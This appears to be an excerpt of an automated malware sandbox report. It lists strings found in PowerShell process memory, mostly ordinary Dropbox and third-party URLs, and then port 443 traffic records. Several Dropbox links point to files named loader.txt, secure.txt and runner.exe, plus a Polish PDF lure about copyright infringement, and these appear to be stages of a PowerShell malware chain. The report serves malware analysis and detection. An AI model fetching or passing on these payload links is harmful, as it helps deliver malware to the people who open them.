Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com/cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ng
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.comiviy
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com/cd/0/get/CgbAyJXP1G3lks-wJve3nDWamXUf
Source: powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com/cd/0/get/CgbDQoJsI6R58j4ru660UEOz8fpX
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com/cd/0/get/CgbNmXAqM1wvvWO56t4UHHZ2wZyB
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAD0B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AADD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 00000010.00000002.2971985708.00000169C3A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rl
Source: powershell.exe, 00000010.00000002.2967402926.00000169C2DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/dokument-analizy-narusze-praw-autorskich.pdf?rl
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/6dromt11dasgpbaqiinde/secure.txt?rlkey=w5qe7ul17xmqk7b3r4953k6ky&dl=1
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAD0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/dk0happq8zq54zyqx75rc/loader.txt?rlkey=mgjftur3wge66oen7ogdrtopm&dl=1
Source: powershell.exe, 00000010.00000002.2967676644.00000169C2F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=
Source: powershell.exe, 00000010.00000002.2971985708.00000169C3A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
